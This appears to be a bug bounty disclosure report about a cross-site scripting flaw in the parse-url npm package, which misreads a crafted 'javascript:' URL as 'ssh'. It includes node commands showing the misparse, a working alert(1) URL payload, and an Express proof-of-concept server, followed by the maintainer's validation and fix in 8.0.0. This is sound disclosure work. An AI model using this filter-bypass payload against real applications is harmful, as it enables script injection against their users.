Cross Site Scripting via Improper Input Validation (parser differential) in ionicabizau/parse-url

Valid

Reported on

Jul 2nd 2022


Description

I find that parse-url parses the following URL incorrectly and identifies protocol as ssh:

javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a
~/parseurl_fuzz$ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a"))' 
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'user',
  user: 'git',
  password: '',
  pathname: '/passser',
  hash: '',
  search: '',
  href: 'javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a',
  query: {}
}

But browsers and url library parse it correctly:

~/parseurl_fuzz$ node -e 'const Url = require("url"); console.log(Url.parse("javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a"))' 
Url {
  protocol: 'javascript:',
  slashes: null,
  auth: null,
  host: null,
  port: null,
  hostname: null,
  hash: '#http://user:passser:pass@domain.com:-4294967297/?a',
  search: '?ab=--2509999973799371216494',
  query: 'ab=--2509999973799371216494',
  pathname: '//n.com:-4294967297/',
  path: '//n.com:-4294967297/?ab=--2509999973799371216494',
  href: 'javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a'
}

The following PoC will execute alert(1):

javascript://n.com%0aalert(1)%0avar%20a=1':'-4294967297/*/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a*/

Proof of Concept

// PoC.js
const parseUrl = require("parse-url"); 
const express = require('express');
const app = express();

var url = "javascript://n.com%0aalert(1)%0avar%20a=1':'-4294967297/*/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a*/" ;
parsed = parseUrl(url);
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999,"0.0.0.0");

PoC

Impact

Through this vulnerability, an attacker is capable to execute malicious JS codes.

Occurrences

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. a year ago
We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back a year ago
We have sent a follow up to the ionicabizau/parse-url team. We will try again in 7 days. a year ago
Anna
a year ago

Researcher


Hi, Any Update?

We have sent a second follow up to the ionicabizau/parse-url team. We will try again in 10 days. 10 months ago
Ionică Bizău (Johnny B.) validated this vulnerability 10 months ago

Hi Anna! Thank you for this finding! Marking it as valid and will try to release a fix soon.

Anna has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 10 months ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. 10 months ago
Ionică Bizău (Johnny B.) marked this as fixed in 8.0.0 with commit b88c81 10 months ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
This vulnerability will not receive a CVE
index.js#L37 has been validated
to join this conversation